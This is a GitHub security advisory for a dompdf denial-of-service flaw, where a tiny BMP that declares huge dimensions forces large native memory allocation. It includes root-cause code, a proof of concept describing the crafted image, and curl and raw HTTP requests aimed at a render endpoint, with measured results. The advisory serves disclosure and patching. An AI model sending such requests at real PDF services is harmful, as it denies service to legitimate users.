GHSA-8HG6-C449-896M

Vulnerability from github – Published: 2026-07-22 22:50 – Updated: 2026-07-22 22:50
VLAI
Summary
Dompdf: Uncontrolled resource consumption based on declared BMP dimensions
Details

Summary

dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas.

A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a 169-byte request drove dompdf to render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.

Details

Root cause

The image is processed based on declared dimensions and type alone — no pixel budget:

// src/Image/Cache.php:131-134
list($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext());
if (($width && $height && in_array($type, ["gif","png","jpeg","bmp","svg","webp"], true)) === false) {
    throw new ImageException("Image type unknown", E_WARNING);
}

For BMPs that getimagesize() does not fully parse, dompdf trusts the raw header fields:

// src/Helpers.php:833-837
if (substr($data, 0, 2) === "BM") {
    $meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data);
    $width  = (int) $meta["width"];
    $height = (int) $meta["height"];
    $type   = "bmp";
}

At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:

// src/Helpers.php:868-869  — native decoder is tried FIRST on PHP >= 7.2
if (function_exists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) {
    return $im;
}
// src/Helpers.php:940  — hand-rolled fallback
$im = imagecreatetruecolor($meta['width'], $meta['height']);

There is no maximum width/height or maximum total-pixel guard anywhere on this path.

Source-to-sink

  1. Attacker HTML reaches Dompdf::loadHtml() with <img src="data:image/bmp;base64,…"> (or any BMP src).
  2. Dompdf::render() decorates frames; Frame\Factory marks <img> as an image; FrameDecorator\Image calls Image\Cache::resolve_url().
  3. Image\Cache::resolve_url() accepts the BMP on declared dimensions/type (src/Image/Cache.php:131-134).
  4. During render, Adapter\CPDF::image() identifies the BMP and calls _convert_to_png() (src/Adapter/CPDF.php:593).
  5. _convert_to_png() invokes Helpers::imagecreatefrombmp(), which allocates the full canvas — via the native imagecreatefrombmp() on PHP ≥ 7.2, or the hand-rolled imagecreatetruecolor() fallback otherwise.

PoC

erified against dompdf @ a6ddc4f on PHP 8.3.6 with GD enabled.

The crafted BMP is 58 bytes: a 14-byte file header + 40-byte BITMAPINFOHEADER declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:

<html><body><img src="" style="width:1px;height:1px"></body></html>

(The base64 above decodes to a 58-byte BMP declaring 6000×6000. The CSS width:1px;height:1px does not help the defender — the intrinsic decode happens regardless.)

1 — Direct conversion

native imagecreatefrombmp exists: yes
dompdf_getimagesize  => 6000x6000 type=bmp
imagecreatefrombmp   => GdImage 6000x6000   (allocated from a 58-byte file)
Maximum resident set size: 160 MB        (10x10 control: 24 MB)
php_peak (PHP-managed): 0.8 MB           <-- GD memory is native; PHP memory_limit does NOT cap it

The PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so memory_limit does not bound it.

2 — Full Dompdf::render()

declared 6000x6000  payload 169 bytes  render 5.8 s  RSS ~417 MB  output 106 KB
declared 10x10      payload 169 bytes  render 0.01 s RSS  ~30 MB   output 1.4 KB

3 — HTTP reproduction (curl / Burp)

Reproduced against a minimal PDF endpoint (server.php, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets isRemoteEnabled=false; the attack still works because data: URIs are an allowed protocol by default and need no remote fetch.

curl:

curl -s -X POST "https://TARGET/render" \
  --data-binary '<html><body><img src="" style="width:1px;height:1px"></body></html>' \
  -o /dev/null -w 'http=%{http_code} time=%{time_total}s\n'

Burp Repeater (enable "Update Content-Length"):

POST /render HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/html
Connection: close

<html><body><img src="" style="width:1px;height:1px"></body></html>

Observed (peak RSS read from the worker's /proc/<pid>/status VmHWM, each on a fresh worker so the high-water mark is per-request):

[ATTACK ] declared 6000x6000  request=169 B  -> 200 application/pdf  output=106397 B  server peak RSS ~412 MB  wall 4.8 s
[CONTROL] declared 10x10      request=169 B  -> 200 application/pdf  output=1407 B    server peak RSS ~34 MB   wall <0.1 s

Two identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared width × height, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).

Impact

A single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request memory_limit does not contain it.

Caveat: this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dompdf/dompdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T22:50:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\ndompdf accepts a BMP image and generates a PDF-compatible PNG based only on its *declared* header dimensions and never bounds width \u00d7 height before the image is converted through GD. A 58-byte BMP whose header declares e.g. `6000\u00d76000` is accepted and later drives `imagecreatetruecolor($width, $height)` (and PHP\u0027s native BMP decoder) to allocate the full pixel canvas.\n \nA payload can fit in a single HTTP request: the BMP can be inlined as a `data:image/bmp;base64,\u2026` URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a **169-byte** request drove dompdf to render to **~412 MB peak RSS and ~4.8 s** of CPU/wall time, versus ~34 MB for an identically-sized benign request \u2014 roughly a 12\u00d7 memory amplification per request, repeatable and unauthenticated.\n\n\n### Details\n## Root cause\n \nThe image is processed based on declared dimensions and type alone \u2014 no pixel budget:\n \n```php\n// src/Image/Cache.php:131-134\nlist($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options-\u003egetHttpContext());\nif (($width \u0026\u0026 $height \u0026\u0026 in_array($type, [\"gif\",\"png\",\"jpeg\",\"bmp\",\"svg\",\"webp\"], true)) === false) {\n    throw new ImageException(\"Image type unknown\", E_WARNING);\n}\n```\n \nFor BMPs that `getimagesize()` does not fully parse, dompdf trusts the raw header fields:\n \n```php\n// src/Helpers.php:833-837\nif (substr($data, 0, 2) === \"BM\") {\n    $meta = unpack(\"vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight\", $data);\n    $width  = (int) $meta[\"width\"];\n    $height = (int) $meta[\"height\"];\n    $type   = \"bmp\";\n}\n```\n \nAt conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:\n \n```php\n// src/Helpers.php:868-869  \u2014 native decoder is tried FIRST on PHP \u003e= 7.2\nif (function_exists(\"imagecreatefrombmp\") \u0026\u0026 ($im = imagecreatefrombmp($filename)) !== false) {\n    return $im;\n}\n// src/Helpers.php:940  \u2014 hand-rolled fallback\n$im = imagecreatetruecolor($meta[\u0027width\u0027], $meta[\u0027height\u0027]);\n```\n \nThere is no maximum width/height or maximum total-pixel guard anywhere on this path.\n \n## Source-to-sink\n \n1. Attacker HTML reaches `Dompdf::loadHtml()` with `\u003cimg src=\"data:image/bmp;base64,\u2026\"\u003e` (or any BMP `src`).\n2. `Dompdf::render()` decorates frames; `Frame\\Factory` marks `\u003cimg\u003e` as an image; `FrameDecorator\\Image` calls `Image\\Cache::resolve_url()`.\n3. `Image\\Cache::resolve_url()` accepts the BMP on declared dimensions/type (`src/Image/Cache.php:131-134`).\n4. During render, `Adapter\\CPDF::image()` identifies the BMP and calls `_convert_to_png()` (`src/Adapter/CPDF.php:593`).\n5. `_convert_to_png()` invokes `Helpers::imagecreatefrombmp()`, which allocates the full canvas \u2014 via the native `imagecreatefrombmp()` on PHP \u2265 7.2, or the hand-rolled `imagecreatetruecolor()` fallback otherwise.\n\n### PoC\nerified against dompdf @ `a6ddc4f` on PHP 8.3.6 with GD enabled.\n \nThe crafted BMP is 58 bytes: a 14-byte file header + 40-byte `BITMAPINFOHEADER` declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:\n \n```\n\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\n```\n \n(The base64 above decodes to a 58-byte BMP declaring `6000\u00d76000`. The CSS `width:1px;height:1px` does not help the defender \u2014 the intrinsic decode happens regardless.)\n \n### 1 \u2014 Direct conversion\n \n```\nnative imagecreatefrombmp exists: yes\ndompdf_getimagesize  =\u003e 6000x6000 type=bmp\nimagecreatefrombmp   =\u003e GdImage 6000x6000   (allocated from a 58-byte file)\nMaximum resident set size: 160 MB        (10x10 control: 24 MB)\nphp_peak (PHP-managed): 0.8 MB           \u003c-- GD memory is native; PHP memory_limit does NOT cap it\n```\n \nThe PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD\u0027s native allocator, so `memory_limit` does not bound it.\n \n### 2 \u2014 Full `Dompdf::render()`\n \n```\ndeclared 6000x6000  payload 169 bytes  render 5.8 s  RSS ~417 MB  output 106 KB\ndeclared 10x10      payload 169 bytes  render 0.01 s RSS  ~30 MB   output 1.4 KB\n```\n \n### 3 \u2014 HTTP reproduction (curl / Burp)\n \nReproduced against a minimal PDF endpoint (`server.php`, included) that simply renders posted HTML \u2014 the shape of any invoice/report/HTML-to-PDF service. The endpoint sets `isRemoteEnabled=false`; the attack still works because `data:` URIs are an allowed protocol by default and need no remote fetch.\n \ncurl:\n```bash\ncurl -s -X POST \"https://TARGET/render\" \\\n  --data-binary \u0027\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\u0027 \\\n  -o /dev/null -w \u0027http=%{http_code} time=%{time_total}s\\n\u0027\n```\n \nBurp Repeater (enable \"Update Content-Length\"):\n```\nPOST /render HTTP/1.1\nHost: TARGET\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: text/html\nConnection: close\n \n\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\n```\n \nObserved (peak RSS read from the worker\u0027s `/proc/\u003cpid\u003e/status` `VmHWM`, each on a fresh worker so the high-water mark is per-request):\n \n```\n[ATTACK ] declared 6000x6000  request=169 B  -\u003e 200 application/pdf  output=106397 B  server peak RSS ~412 MB  wall 4.8 s\n[CONTROL] declared 10x10      request=169 B  -\u003e 200 application/pdf  output=1407 B    server peak RSS ~34 MB   wall \u003c0.1 s\n```\n \nTwo identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared `width \u00d7 height`, bounded only by the 32-bit header fields and the host\u0027s available memory (the process is OOM-killed before the theoretical maximum).\n\n## Impact\n \nA single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool\u0027s memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD\u0027s native allocator, a per-request `memory_limit` does **not** contain it.\n\n**Caveat:** this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation \u2014 those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.",
  "id": "GHSA-8hg6-c449-896m",
  "modified": "2026-07-22T22:50:34Z",
  "published": "2026-07-22T22:50:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-8hg6-c449-896m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dompdf/dompdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dompdf: Uncontrolled resource consumption based on declared BMP dimensions"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…